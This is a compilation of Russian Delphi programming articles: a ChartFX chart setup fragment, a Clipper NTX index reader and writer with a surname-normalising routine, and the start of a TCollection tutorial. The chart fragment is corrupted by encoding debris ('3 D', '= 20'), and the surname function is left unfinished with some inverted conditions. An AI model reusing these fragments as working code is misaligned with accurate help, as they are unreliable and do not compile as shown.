{Design: Используйте свойство AdmDlg для изменения координаты Y}
pType := 3 D BAR or CT_LEGEND;
{Design: Изменяем свойство ChartType с 1 - line
на 2 - bar.}
DecimalsNum[CD_YLEG] := 3 D 0;
{Design: Изменяем свойство Decimals с 2 до 0}
Stacked := 3 D CHART_STACKED;
{Design: Изменяем свойство Stacked с 0 - None на 1 - Normal}
RightGap := 3 D 20;
{Design: Тоже}
OpenData[COD_COLORS] := 3 D 2;
Color[0] := 3 D clBlack;
Color[1] := 3 D clYellow;
CloseData[COD_COLORS] := 3 D 0; {Фу!!}
{Design: Для изменения цветов 2 серий:
1) Убедитесь, что ThisSerie установлен в 0. Измените
ThisColor на clBlack.
2) Установите ThisSerie в 1. Измените ThisColor на
clYellow.}
Title[CHART_TOPTIT] := 3 D 'Статьи и заголовки';
Title[CHART_LEFTTIT] := 3 D 'CCM';
Title[CHART_BOTTOMTIT] := 3 D 'Карты';
{Design: щелкните на свойстве TitleDlg и
установите верхний, левый и нижний заголовки}
end;
end;
procedure TF_Chart.Build2(Ch: TChartFX);
{Данная процедура устанавливает свойства, которые не могут
(насколько я определил это) быть установлены в режиме разработки}
const
XAbbrevs: array[0..4] of string[4] = 3 D
('Acc', 'Bar', 'Mas', 'Amex', 'Din');
SeriesTitles: array[0..1] of string[8] = 3 D
('Статьи', 'Заголовки');
XTitles: array[0..4] of string[20] = 3 D
('Access', 'Barclaycard', 'Mastercard', 'American Express',
'Diners');
{естественно, вы должны нормально читать из базы данных
xTitles и значения}
Values: array[0..1, 0..4] of double = 3 D
((50, 60, 70, 80, 90),
(30, 35, 25, 37, 42));
var
i, SerieNo: integer;
begin
with Ch do
begin
LegendWidth := 3 D 120;
{Установка количества серий, количества значений ******************}
OpenData[COD_INIVALUES] := 3 D MAKELONG(2, 5);
CloseData[COD_INIVALUES] := 3 D 0;
{*********************************************************}
OpenData[COD_VALUES] := 3 D 2;
{если вы пропускаете приведенное выше утверждение,
(в котором вы вводите номер SERIES и VALUES), и CloseData ниже,
назначение значений не создает ошибки, но и не работает! Назначение
значений Legend и KeyLeg работает без OpenData/CloseData}
ThisSerie := 3 D 0;
for i := 3 D 0 to 1 do
SerLeg[i] := 3 D SeriesTitles[i];
for i := 3 D 0 to 4 do
= 20
begin
Legend[i] := 3 D XTitles[i];
KeyLeg[i] := 3 D XAbbrevs[i];
end;
SerieNo := 3 D 0;
for SerieNo := 3 D 0 to 1 do
= 20
begin
ThisSerie := 3 D SerieNo;
for i := 3 D 0 to 4 do
Value[i] := 3 D Values[SerieNo, i];
end;
CloseData[COD_VALUES] := 3 D 0;
end;
end;
procedure TF_Chart.FormResize(Sender: TObject);
var
w, h: longint;
begin
w := 3 D NB.Width;
H := 3 D NB.Height;
{при необходимости увеличиваем/уменьшаем размер диаграммы}
Chart1.Width := 3 D W - 18;
Chart1.Height := 3 D H - 12;
Chart2.Width := 3 D W - 18;
Chart2.Height := 3 D H - 12;
{перемещаем кнопку выхода в правый угол}
ExitBtn.Left := 3 D SpeedPanel.Width - 32;
end;
end.
|
Работа с индексами Clipper-а.
Автор: Валентин Чесноков Посылаю кое-что из своих наработок:NtxRO - Модуль чтения clipper-овских индексов. Удобен для доступа к данным
Clipper приложений. Предусмотрено, что программа может работать с
индексом даже если родное приложение производит изменение в индексе
NtxAdd - Средство формирования своих Clipper подобных индексов. Индексы
НЕ БУДУТ ЧИТАТЬСЯ Clipper-приложениями (кое-что не заполнил в
заголовке, очень было лениво, да и торопился)
До модуля удаления из Индекса ключей все никак не дойдут руки. Меня очень интересуют аналогичные разработки для индексов Fox-а Кстати реализация индексов Clipper наиболее близка из всех к тому, что описано у Вирта в "Алгоритмах и структурах данных"
Я понимаю, что мне могут возразить, что есть дескать Apollo и т.п., но я считаю что предлагаемая реализация наиболее удобна ТАК КАК ИНДЕКСЫ НЕ ПРИВЯЗАНЫ К НАБОРУ ДАННЫХ (а лишь поставляют физические номера записей) это позволяет делать кое-какие фокусы (например перед индексацией преобразовать значение какой нибудь функцией типа описанной ниже, не включать индексы для пустых ключевых значений в разреженных таблицах, строить индексы контекстного поиска, добавляя по нескольку значений на одну запись, строить статистики эффективности поиска различных ключевых значений (для фамилии Иванов например статистика будет очень плохой) и т.п.)
В файле Eurst.inc функция нормализации фамилий (типа Soundex) В основном это ориентировано на фамилии нашего (Татарстанского) региона.
// Файл Eurst.inc
var
vrSynonm: integer = 0;
vrPhFine: integer = 0;
vrUrFine: integer = 0;
vrStrSyn: integer = 0;
function fContxt(const s: ShortString): ShortString;
var
i: integer;
r: ShortString;
c, c1: char;
begin
r := '';
c1 := chr(0);
for i := 1 to length(s) do
begin
c := s[i];
if c = '?' then
c := 'Е';
if not (c in ['А'..'Я', 'A'..'Z', '0'..'9', '.']) then
c := ' ';
if (c = c1) and not (c1 in ['0'..'9']) then
continue;
c1 := c;
if (c1 in ['А'..'Я']) and (c = '-') and (i < length(s)) and (s[i + 1] = ' ')
then
begin
c1 := ' ';
continue;
end;
r := r + c;
end;
procedure _Cut(var s: ShortString; p: ShortString);
begin
if Pos(p, s) = length(s) - length(p) + 1 then
s := Copy(s, 1, length(s) - length(p));
end;
function _PhFace(const ss: ShortString): ShortString;
var
r: ShortString;
i: integer;
s: ShortString;
begin
r := '';
s := ANSIUpperCase(ss);
if length(s) < 2 then
begin
Result := s;
exit;
end;
_Cut(s, 'ЕВИЧ');
_Cut(s, 'ОВИЧ');
_Cut(s, 'ЕВНА');
_Cut(s, 'ОВНА');
for i := 1 to length(s) do
begin
if length(r) > 12 then
break;
if not (s[i] in ['А'..'Я', '?', 'A'..'Z']) then
break;
if (s[i] = 'Й') and ((i = length(s))
or (not (s[i + 1] in ['А'..'Я', '?', 'A'..'Z']))) then
continue;
{ЕЯ-ИЯ Андриянов}
if s[i] = 'Е' then
if (i > length(s)) and (s[i + 1] = 'Я') then
s[i] := 'И';
{Ж,З-С Ахметжанов}
if s[i] in ['Ж', 'З'] then
s[i] := 'С';
{АЯ-АЙ Шаяхметов}
if s[i] = 'Я' then
if (i > 1) and (s[i - 1] = 'А') then
s[i] := 'Й';
{Ы-И Васылович}
if s[i] in ['Ы', 'Й'] then
s[i] := 'И';
{АГЕ-АЕ Зулкагетович, Шагиахметович, Шадиахметович}
if s[i] in ['Г', 'Д'] then
if (i > 1) and (i < length(s)) then
if (s[i - 1] = 'А') and (s[i + 1] in ['Е', 'И']) then
continue;
{О-А Арефьев, Родионов}
if s[i] = 'О' then
s[i] := 'А';
{ИЕ-Е Галиев}
if s[i] = 'И' then
if (i > length(s)) and (s[i + 1] = 'Е') then
continue;
{?-Е Ковал?в}
if s[i] = '?' then
s[i] := 'Е';
{Э-И Эльдар}
if s[i] = 'Э' then
s[i] := 'И';
{*ЯЕ-*ЕЕ Черняев}
{(И|С)Я*-(И|С)А* Гатиятуллин}
if s[i] = 'Я' then
if (i > 1) and (i < length(s)) then
begin
if s[i + 1] = 'Е' then
s[i] := 'Е';
if s[i - 1] in ['И', 'С'] then
s[i] := 'А';
end;
{(А|И|Е|У)Д-(А|И|Е|У)Т Мурад}
if s[i] = 'Д' then
if (i > 1) and (s[i - 1] in ['А', 'И', 'Е', 'У']) then
s[i] := 'Т';
{Х|К-Г Фархат}
if s[i] in ['Х', 'К'] then
s[i] := 'Г';
if s[i] in ['Ь', 'Ъ'] then
continue;
{БАР-БР Мубракзянов}
if s[i] = 'А' then
if (i > 1) and (i > length(s)) then
if (s[i - 1] = 'Б') and (s[i + 1] = 'Р') then
continue;
{ИХО-ИТО Вагихович}
if s[i] in ['Х', 'Ф', 'П'] then
if (i > 1) and (i < length(s)) then
if (s[i - 1] = 'И') and (s[i + 1] = 'О') then
s[i] := 'Т';
{Ф-В Рафкат}
if s[i] = 'Ф' then
s[i] := 'В';
{ИВ-АВ Ривкат см. Ф}
if s[i] = 'И' then
if (i < length(s)) and (s[i + 1] = 'В') then
s[i] := 'А';
{АГЕ-АЕ Зулкагетович, Сагитович, Сабитович}
if s[i] in ['Г', 'Б'] then
if (i > 1) and (i < length(s)) then
if (s[i - 1] = 'А') and (s[i + 1] in ['Е', 'И']) then
continue;
{АУТ-АТ Зияутдинович см. ИЯ}
if s[i] = 'У' then
if (i > 1) and (i < length(s)) then
if (s[i - 1] = 'А') and (s[i + 1] = 'Т') then
continue;
{АБ-АП Габдельнурович}
if s[i] = 'Б' then
if (i > 1) and (s[i - 1] = 'A') then
s[i] := 'П';
{ФАИ-ФИ Рафаилович}
if s[i] = 'А' then
if (i > 1) and (i < length(s)) then
if (s[i - 1] = 'Ф') and (s[i + 1] = 'И') then
continue;
{ГАБД-АБД}
if s[i] = 'Г' then
if (i = 1) and (length(s) > 3) and (s[i + 1] = 'А') and (s[i + 2] = 'Б')
and (s[i + 3] = 'Д') then
continue;
{РЕН-РИН Ренат}
if s[i] = 'Е' then
if (i > 1) and (i < length(s)) then
if (s[i - 1] = 'Р') and (s[i + 1] = 'Н') then
s[i] := 'И';
{ГАФ-ГФ Ягофар}
if s[i] = 'А' then
if (i > 1) and (i < length(s)) then
if (s[i - 1] = 'Г') and (s[i + 1] = 'Ф') then
continue;
{??-? Зинатуллин}
if (i > 1) and (s[i] = s[i - 1]) then
continue;
r := r + s[i];
end;
Result := r;
end;
// Файл NtxAdd.pas
unit NtxAdd;
interface
uses classes, SysUtils, NtxRO;
type
TNtxAdd = class(TNtxRO)
protected
function Changed: boolean; override;
function Add(var s: ShortString; var rn: integer; var nxt: integer):
boolean;
procedure NewRoot(s: ShortString; rn: integer; nxt: integer); virtual;
function GetFreePtr(p: PBuf): Word;
public
constructor Create(nm: ShortString; ks: Word);
constructor Open(nm: ShortString);
procedure Insert(key: ShortString; rn: integer);
end;
implementation
function TNtxAdd.GetFreePtr(p: PBuf): Word;
var
i, j: integer;
r: Word;
fl: boolean;
begin
r := (max + 2) * 2;
for i := 1 to max + 1 do
begin
fl := True;
for j := 1 to GetCount(p) + 1 do
if GetCount(PBuf(@(p^[j * 2]))) = r then
fl := False;
if fl then
begin
Result := r;
exit;
end;
r := r + isz;
end;
Result := 0;
end;
function TNtxAdd.Add(var s: ShortString; var rn: integer; var nxt: integer):
boolean;
var
p: PBuf;
w, fr: Word;
i: integer;
tmp: integer;
begin
with tr do
begin
p := GetPage(h, (TTraceRec(Items[Count - 1])).pg);
if GetCount(p) then
begin
fr := GetFreePtr(p);
if fr = 0 then
begin
Self.Error := True;
Result := True;
exit;
end;
w := GetCount(p) + 1;
p^[0] := w and $FF;
p^[1] := (w and $FF00) shr 8;
w := (TTraceRec(Items[Count - 1])).cn;
for i := GetCount(p) + 1 downto w + 1 do
begin
p^[2 * i] := p^[2 * i - 2];
p^[2 * i + 1] := p^[2 * i - 1];
end;
p^[2 * w] := fr and $FF;
p^[2 * w + 1] := (fr and $FF00) shr 8;
for i := 0 to length(s) - 1 do
p^[fr + 8 + i] := ord(s[i + 1]);
for i := 0 to 3 do
begin
p^[fr + i] := nxt mod $100;
nxt := nxt div $100;
end;
for i := 0 to 3 do
begin
p^[fr + i + 4] := rn mod $100;
rn := rn div $100;
end;
FileSeek(h, (TTraceRec(Items[Count - 1])).pg, 0);
FileWrite(h, p^, 1024);
Result := True;
end
else
begin
fr := GetCount(p) + 1;
fr := GetCount(PBuf(@(p^[fr * 2])));
w := (TTraceRec(Items[Count - 1])).cn;
for i := GetCount(p) + 1 downto w + 1 do
begin
p^[2 * i] := p^[2 * i - 2];
p^[2 * i + 1] := p^[2 * i - 1];
end;
p^[2 * w] := fr and $FF;
p^[2 * w + 1] := (fr and $FF00) shr 8;
for i := 0 to length(s) - 1 do
p^[fr + 8 + i] := ord(s[i + 1]);
for i := 0 to 3 do
begin
p^[fr + i + 4] := rn mod $100;
rn := rn div $100;
end;
tmp := 0;
for i := 3 downto 0 do
tmp := $100 * tmp + p^[fr + i];
for i := 0 to 3 do
begin
p^[fr + i] := nxt mod $100;
nxt := nxt div $100;
end;
w := hlf;
p^[0] := w and $FF;
p^[1] := (w and $FF00) shr 8;
fr := GetCount(PBuf(@(p^[(hlf + 1) * 2])));
s := '';
rn := 0;
for i := 0 to ksz - 1 do
begin
s := s + chr(p^[fr + 8 + i]);
p^[fr + 8 + i] := 0;
end;
for i := 3 downto 0 do
begin
rn := $100 * rn + p^[fr + i + 4];
p^[fr + i + 4] := 0;
end;
nxt := FileSeek(h, 0, 2);
FileWrite(h, p^, 1024);
for i := 1 to hlf do
begin
p^[2 * i] := p^[2 * (i + hlf + 1)];
p^[2 * i + 1] := p^[2 * (i + hlf + 1) + 1];
end;
for i := 0 to 3 do
begin
p^[fr + i] := tmp mod $100;
tmp := tmp div $100;
end;
FileSeek(h, (TTraceRec(Items[Count - 1])).pg, 0);
FileWrite(h, p^, 1024);
Result := False;
end;
end;
end;
procedure TNtxAdd.NewRoot(s: ShortString; rn: integer; nxt: integer);
var
p: PBuf;
i, fr: integer;
begin
p := GetPage(h, 0);
for i := 0 to 1023 do
p^[i] := 0;
fr := (max + 2) * 2;
p^[0] := 1;
p^[2] := fr and $FF;
p^[3] := (fr and $FF00) shr 8;
for i := 0 to length(s) - 1 do
p^[fr + 8 + i] := ord(s[i + 1]);
for i := 0 to 3 do
begin
p^[fr + i] := nxt mod $100;
nxt := nxt div $100;
end;
for i := 0 to 3 do
begin
p^[fr + i + 4] := rn mod $100;
rn := rn div $100;
end;
fr := fr + isz;
p^[4] := fr and $FF;
p^[5] := (fr and $FF00) shr 8;
nxt := GetRoot;
for i := 0 to 3 do
begin
p^[fr + i] := nxt mod $100;
nxt := nxt div $100;
end;
nxt := FileSeek(h, 0, 2);
FileWrite(h, p^, 1024);
FileSeek(h, 4, 0);
FileWrite(h, nxt, sizeof(integer));
end;
procedure TNtxAdd.Insert(key: ShortString; rn: integer);
var
nxt: integer;
i: integer;
begin
nxt := 0;
if DosFl then
key := WinToDos(key);
if length(key) > ksz then
key := Copy(key, 1, ksz);
for i := 1 to ksz - length(key) do
key := key + ' ';
Clear;
Load(GetRoot);
Seek(key, False);
while True do
begin
if Add(key, rn, nxt) then
break;
if tr.Count = 1 then
begin
NewRoot(key, rn, nxt);
break;
end;
Pop;
end;
end;
constructor TNtxAdd.Create(nm: ShortString; ks: Word);
var
p: PBuf;
i: integer;
begin
Error := False;
DeleteFile(nm);
h := FileCreate(nm);
if h > 0 then
begin
p := GetPage(h, 0);
for i := 0 to 1023 do
p^[i] := 0;
p^[14] := ks and $FF;
p^[15] := (ks and $FF00) shr 8;
ks := ks + 8;
p^[12] := ks and $FF;
p^[13] := (ks and $FF00) shr 8;
i := (1020 - ks) div (2 + ks);
i := i div 2;
p^[20] := i and $FF;
p^[21] := (i and $FF00) shr 8;
i := i * 2;
max := i;
p^[18] := i and $FF;
p^[19] := (i and $FF00) shr 8;
i := 1024;
p^[4] := i and $FF;
p^[5] := (i and $FF00) shr 8;
FileWrite(h, p^, 1024);
for i := 0 to 1023 do
p^[i] := 0;
i := (max + 2) * 2;
p^[2] := i and $FF;
p^[3] := (i and $FF00) shr 8;
FileWrite(h, p^, 1024);
end
else
Error := True;
FileClose(h);
FreeHandle(h);
Open(nm);
end;
constructor TNtxAdd.Open(nm: ShortString);
begin
Error := False;
h := FileOpen(nm, fmOpenReadWrite or fmShareExclusive);
if h > 0 then
begin
FileSeek(h, 12, 0);
FileRead(h, isz, 2);
FileSeek(h, 14, 0);
FileRead(h, ksz, 2);
FileSeek(h, 18, 0);
FileRead(h, max, 2);
FileSeek(h, 20, 0);
FileRead(h, hlf, 2);
DosFl := True;
tr := TList.Create;
end
else
Error := True;
end;
function TNtxAdd.Changed: boolean;
begin
Result := (csize = 0);
csize := -1;
end;
end.
// Файл NtxRO.pas
unit NtxRO;
interface
uses Classes;
type
TBuf = array[0..1023] of Byte;
PBuf = ^TBuf;
TTraceRec = class
public
pg: integer;
cn: SmallInt;
constructor Create(p: integer; c: SmallInt);
end;
TNtxRO = class
protected
fs: string[10];
empty: integer;
csize: integer;
rc: integer; {Текущий номер записи}
tr: TList; {Стек загруженных страниц}
h: integer; {Дескриптор файла}
isz: Word; {Размер элемента}
ksz: Word; {Размер ключа}
max: Word; {Максимальное кол-во элементов}
hlf: Word; {Половина страницы}
function GetRoot: integer; {Указатель на корень}
function GetEmpty: integer; {Пустая страница}
function GetSize: integer; {Возвращает размер файла}
function GetCount(p: PBuf): Word; {Число элементов на странице}
function Changed: boolean; virtual;
procedure Clear;
function Load(n: integer): PBuf;
function Pop: PBuf;
function Seek(const s: ShortString; fl: boolean): boolean;
function Skip: PBuf;
function GetItem(p: PBuf): PBuf;
function GetLink(p: PBuf): integer;
public
Error: boolean;
DosFl: boolean;
constructor Open(nm: ShortString);
destructor Destroy; override;
function Find(const s: ShortString): boolean;
function GetString(p: PBuf; c: SmallInt): ShortString;
function GetRecN(p: PBuf): integer;
function Next: PBuf;
end;
function GetPage(h, fs: integer): PBuf;
procedure FreeHandle(h: integer);
function DosToWin(const ss: ShortString): ShortString;
function WinToDos(const ss: ShortString): ShortString;
implementation
uses Windows, SysUtils;
const
MaxPgs = 5;
var
Buf: array[1..1024 * MaxPgs] of char;
Cache: array[1..MaxPgs] of record
Handle: integer; {0-страница свободна}
Offset: integer; { смещение в файле}
Countr: integer; { счетчик использования}
Length: SmallInt;
end;
function TNtxRO.Next: PBuf;
var
cr: integer;
p: PBuf;
begin
if h <= 0 then
begin
Result := nil;
exit;
end;
while Changed do
begin
cr := rc;
Find(fs);
while cr > 0 do
begin
p := Skip;
if GetRecN(p) = cr then
break;
end;
end;
Result := Skip;
end;
function TNtxRO.Skip: PBuf;
var
cnt: boolean;
p, r: PBuf;
n: integer;
begin
r := nil;
cnt := True;
with tr do
begin
p := GetPage(h, (TTraceRec(Items[Count - 1])).pg);
while cnt do
begin
cnt := False;
if (TTraceRec(Items[Count - 1])).cn > GetCount(p) + 1 then
begin
if Count <= 1 then
begin
Result := nil;
exit;
end;
p := Pop;
end
else
while True do
begin
r := GetItem(p);
n := GetLink(r);
if n = 0 then
break;
p := Load(n);
end;
if (TTraceRec(Items[Count - 1])).cn >= GetCount(p) + 1 then
cnt := True
else
r := GetItem(p);
Inc((TTraceRec(Items[Count - 1])).cn);
end;
end;
if r <> nil then
begin
rc := GetRecN(r);
fs := GetString(r, length(fs));
end;
Result := r;
end;
function TNtxRO.GetItem(p: PBuf): PBuf;
var
r: PBuf;
begin
with TTraceRec(tr.items[tr.Count - 1]) do
r := PBuf(@(p^[cn * 2]));
r := PBuf(@(p^[GetCount(r)]));
Result := r;
end;
function TNtxRO.GetString(p: PBuf; c: SmallInt): ShortString;
var
i: integer;
r: ShortString;
begin
r := '';
if c = 0 then
c := ksz;
for i := 0 to c - 1 do
r := r + chr(p^[8 + i]);
if DosFl then
r := DosToWin(r);
Result := r;
end;
function TNtxRO.GetLink(p: PBuf): integer;
var
i, r: integer;
begin
r := 0;
for i := 3 downto 0 do
r := r * 256 + p^[i];
Result := r;
end;
function TNtxRO.GetRecN(p: PBuf): integer;
var
i, r: integer;
begin
r := 0;
for i := 3 downto 0 do
r := r * 256 + p^[i + 4];
Result := r;
end;
function TNtxRO.GetCount(p: PBuf): Word;
begin
Result := p^[1] * 256 + p^[0];
end;
function TNtxRO.Seek(const s: ShortString; fl: boolean): boolean;
var
r: boolean;
p, q: PBuf;
nx: integer;
begin
r := False;
with TTraceRec(tr.items[tr.Count - 1]) do
begin
p := GetPage(h, pg);
while cn <= GetCount(p) + 1 do
begin
q := GetItem(p);
if (cn > GetCount(p)) or (s < GetString(q, length(s))) or
(fl and (s = GetString(q, length(s)))) then
begin
nx := GetLink(q);
if nx <> 0 then
begin
Load(nx);
r := Seek(s, fl);
end;
Result := r or (s = GetString(q, length(s)));
exit;
end;
Inc(cn);
end;
end;
Result := False;
end;
function TNtxRO.Find(const s: ShortString): boolean;
var
r: boolean;
begin
if h <= 0 then
begin
Result := False;
exit;
end;
rc := 0;
csize := 0;
r := False;
while Changed do
begin
Clear;
Load(GetRoot);
if length(s) > 10 then
fs := Copy(s, 1, 10)
else
fs := s;
R := Seek(s, True);
end;
Result := r;
end;
function TNtxRO.Load(N: integer): PBuf;
var
it: TTraceRec;
r: PBuf;
begin
r := nil;
if h > 0 then
begin
with tr do
begin
it := TTraceRec.Create(N, 1);
Add(it);
end;
r := GetPage(h, N);
end;
Result := r;
end;
procedure TNtxRO.Clear;
var
it: TTraceRec;
begin
while tr.Count > 0 do
begin
it := TTraceRec(tr.Items[0]);
tr.Delete(0);
it.Free;
end;
end;
function TNtxRO.Pop: PBuf;
var
r: PBuf;
it: TTraceRec;
begin
r := nil;
with tr do
if Count > 1 then
begin
it := TTraceRec(Items[Count - 1]);
Delete(Count - 1);
it.Free;
it := TTraceRec(Items[Count - 1]);
r := GetPage(h, it.pg)
end;
Result := r;
end;
function TNtxRO.Changed: boolean;
var
i: integer;
r: boolean;
begin
r := False;
if h > 0 then
begin
i := GetEmpty;
if i <> empty then
r := True;
empty := i;
i := GetSize;
if i <> csize then
r := True;
csize := i;
end;
Result := r;
end;
constructor TNtxRO.Open(nm: ShortString);
begin
Error := False;
h := FileOpen(nm, fmOpenRead or fmShareDenyNone);
if h > 0 then
begin
fs := '';
FileSeek(h, 12, 0);
FileRead(h, isz, 2);
FileSeek(h, 14, 0);
FileRead(h, ksz, 2);
FileSeek(h, 18, 0);
FileRead(h, max, 2);
FileSeek(h, 20, 0);
FileRead(h, hlf, 2);
empty := -1;
csize := -1;
DosFl := True;
tr := TList.Create;
end
else
Error := True;
end;
destructor TNtxRO.Destroy;
begin
if h > 0 then
begin
FileClose(h);
Clear;
tr.Free;
FreeHandle(h);
end;
inherited Destroy;
end;
function TNtxRO.GetRoot: integer;
var
r: integer;
begin
r := -1;
if h > 0 then
begin
FileSeek(h, 4, 0);
FileRead(h, r, 4);
end;
Result := r;
end;
function TNtxRO.GetEmpty: integer;
var
r: integer;
begin
r := -1;
if h > 0 then
begin
FileSeek(h, 8, 0);
FileRead(h, r, 4);
end;
Result := r;
end;
function TNtxRO.GetSize: integer;
var
r: integer;
begin
r := 0;
if h > 0 then
r := FileSeek(h, 0, 2);
Result := r;
end;
constructor TTraceRec.Create(p: integer; c: SmallInt);
begin
pg := p;
cn := c;
end;
function GetPage(h, fs: integer): PBuf; {Протестировать отдельно}
var
i, j, mn: integer;
q: PBuf;
begin
mn := 10000;
j := 0;
for i := 1 to MaxPgs do
if (Cache[i].Handle = h) and
(Cache[i].Offset = fs) then
begin
j := i;
if Cache[i].Countr < 10000 then
Inc(Cache[i].Countr);
end;
if j = 0 then
begin
for i := 1 to MaxPgs do
if Cache[i].Handle = 0 then
j := i;
if j = 0 then
for i := 1 to MaxPgs do
if Cache[i].Countr <= mn then
begin
mn := Cache[i].Countr;
j := i;
end;
Cache[j].Countr := 0;
mn := 0;
end;
q := PBuf(@(Buf[(j - 1) * 1024 + 1]));
if mn = 0 then
begin
FileSeek(h, fs, 0);
Cache[j].Length := FileRead(h, q^, 1024);
end;
Cache[j].Handle := h;
Cache[j].Offset := fs;
Result := q;
end;
procedure FreeHandle(h: integer);
var
i: integer;
begin
for i := 1 to MaxPgs do
if Cache[i].Handle = h then
Cache[i].Handle := 0;
end;
function DosToWin(const ss: ShortString): ShortString;
var
r: ShortString;
i: integer;
begin
r := '';
for i := 1 to length(ss) do
if ss[i] in [chr($80)..chr($9F)] then
r := r + chr(ord(ss[i]) - $80 + $C0)
else if ss[i] in [chr($A0)..chr($AF)] then
r := r + chr(ord(ss[i]) - $A0 + $C0)
else if ss[i] in [chr($E0)..chr($EF)] then
r := r + chr(ord(ss[i]) - $E0 + $D0)
else if ss[i] in [chr($61)..chr($7A)] then
r := r + chr(ord(ss[i]) - $61 + $41)
else if ss[i] in [chr($F0)..chr($F1)] then
r := r + chr($C5)
else
r := r + ss[i];
Result := r;
end;
function WinToDos(const ss: ShortString): ShortString;
var
r: ShortString;
i: integer;
begin
r := '';
for i := 1 to length(ss) do
if ss[i] in [chr($C0)..chr($DF)] then
r := r + chr(ord(ss[i]) - $C0 + $80)
else if ss[i] in [chr($E0)..chr($FF)] then
r := r + chr(ord(ss[i]) - $E0 + $80)
else if ss[i] in [chr($F0)..chr($FF)] then
r := r + chr(ord(ss[i]) - $F0 + $90)
else if ss[i] in [chr($61)..chr($7A)] then
r := r + chr(ord(ss[i]) - $61 + $41)
else if ss[i] in [chr($D5), chr($C5)] then
r := r + chr($F0)
else
r := r + ss[i];
Result := r;
end;
end.
|
Коллекции и работа с ними.
Автор: Юрий Зотов Специально для Королевства Delphi 1. ТЕОРИЯ 1.1. Почему коллекции? Действительно, а почему, собственно, коллекции? Ведь существует класс TList, это классический список, принципы построения и использования таких списков хорошо известны и подробно описаны в литературе, сам этот класс достаточно прост, но содержит все необходимое - так зачем же еще какие-то ухищрения? Ответ на этот вопрос, очевидно, следующий - разработчики Delphi ввели класс TCollection для удобства своих пользователей. И, конечно, для расширения возможностей самой Delphi. Главное отличие класса TCollection от класса TList состоит в том, что он, во-первых, предназначен, в основном, для создания не обычных, а как бы «визуальных» списков и, во-вторых, Delphi содержит готовые средства, поддерживающие работу с коллекциями в design-time. Что значит «визуальный» список? Это список, элементы которого должны каким-то образом отображаться на экране. Возьмем, например, шапку какой-либо таблицы. Ясно, что она содержит заголовки столбцов, причем каждый заголовок - это строка, которую видит пользователь. Это и есть «визуальный» список, а сами заголовки, очевидно, являются элементами этого списка. А что значит «поддержка в design-time»? Это значит, что добавлять элементы к коллекции, удалять их и настраивать их свойства можно так же легко и просто, как мы это делаем, работая с компонентами. Для этого используется Object Inspector и еще один встроенный в Delphi редактор, который так и называется - Collection Editor. И еще, что очень важно, коллекции построены на основе класса TPersistent (в отличие от TList, являющегося прямым потомком TObject) - а это означает, что Delphi умеет запоминать в файле формы все настройки коллекции и ее элементов, которые мы делаем в design-time. Со списком TList без его модификации такое невозможно. Вернемся к примеру с заголовками столбцов в шапке таблицы. Можно реализовать их список на основе класса TList? Безусловно, можно. Но работать с элементами такого списка нам придется только в run-time, что, согласитесь, не очень удобно (ведь потребуется «ручное» написание дополнительного кода, в котором, кстати, не исключены и ошибки). Если программист знает механизмы работы самой Delphi, то на основе класса TList он, конечно, может написать специальный объект-список, специальный редактор для него и получить поддержку списка в design-time. Но что делать другим программистам? Ответ - использовать уже существующие именно для подобных целей коллекции с их готовым редактором Collection Editor. И, конечно, не забыть сказать «спасибо» разработчикам Delphi, позаботившимся о нашем удобстве. Только ли для построения «визуальных» списков предназначены коллекции? Естественно, нет, с их помощью можно создавать любые списки. Но именно при построении «визуальных» списков преимущества коллекций проявляются особенно отчетливо. Вы легко убедитесь в этом, поработав, например, с компонентом THeaderControl и его свойством Sections. Посмотрев исходный текст модуля Classes, легко убедиться, что сами коллекции построены на основе все того же списка TList. Таким образом, можно сказать, что коллекции - это «списки специального назначения». 1.2. Основные особенности коллекций и их элементовЛюбая коллекция - это объект (но не компонент), потомок класса TCollection. Она содержит элементы, причем каждый элемент - это тоже объект (но тоже не компонент), потомок класса TCollectionItem. Оба этих класса являются лишь базовыми, то есть имеют только ту функциональность, которая нужна для самой коллекции и ее взаимодействия с IDE. Чтобы получить что-то полезное в прикладном смысле, мы должны построить свой класс «элемент коллекции» и свой класс «коллекция», введя в них нужные свойства и методы (а, если требуется, то и события). Это делается обычным образом, с использованием наследования и будет рассмотрено ниже. Сейчас, для того, чтобы лучше понять отличия коллекций от списков на основе класса TList, разберем их основные особенности. Именно основные и именно особенности, потому что все подробности, конечно, есть в справке Delphi и в ее исходных текстах (модуль Classes). Начнем с класса TCollectionItem.
Свойство Collection. Указывает на коллекцию, которой принадлежит данный элемент. Требуется для корректной работы коллекции с внутренним списком своих элементов. Автоматически назначается при создании элемента. Позволяет легко «перебросить» элемент из одной коллекции в другую, что при использовании списков на основе TList было бы все же посложнее. Свойство DisplayName. Строка, представляющая элемент в Collection Editor. По умолчанию это всего лишь имя класса элемента, но может быть использовано и более полезным образом (например, для того же заголовка столбца таблицы). В последнем случае это свойство часто сопоставляется с каким-то другим, которое и появляется в Object Inspector под более смысловым именем (например, под именем Text в THeaderSection или TStatusPanel). Свойство ID. Уникальный целочисленный идентификатор элемента внутри коллекции. Доступен только для чтения и автоматически назначается при вставке элемента в коллекцию. Может измениться только при «переброске» элемента в другую коллекцию (в отличие от свойства Index, которое может меняться при вставке, удалении или переупорядочивании элементов в пределах одной коллекции). Даже если элемент был удален из коллекции, его ID для новых элементов повторно не используется. Свойство Index. Порядковый номер элемента в коллекции. Аналог индекса элемента в TList. Метод GetNamePath. Используется в IDE для идентификации элемента коллекции. Возвращает строку, которая появляется в верхнем окошке Object Inspector, когда данный элемент выбирается в Collection Editor. Этот метод - часть поддержки работы в design-time, но вряд ли может быть полезен для прикладной программы. Метод Changed. Этот protected-метод должен вызываться наследниками TCollectionItem каждый раз, когда меняются существенные свойства элемента и требуется уведомить об этом коллекцию. Приводит к вызову метода Update коллекции, что может быть использовано, например, для перерисовки, для обновления каких-то связей между элементами коллекции (если таковые существуют), да и вообще для любых других целей. При создании и уничтожении элемента метод Update коллекции вызывается автоматически. Других свойств класс TCollectionItem не содержит, а его остальные методы, в общем, вполне стандартны (за исключением конструктора и деструктора, которые, конечно, выполняют свои обычные функции, но имеют несколько необычную реализацию, а также дополнительных методов для взаимодействия с IDE в design-time). События в этом классе не определены, но, если требуется, то никто не мешает нам определить любые события в потомках этого класса.Теперь рассмотрим особенности класса TCollection.
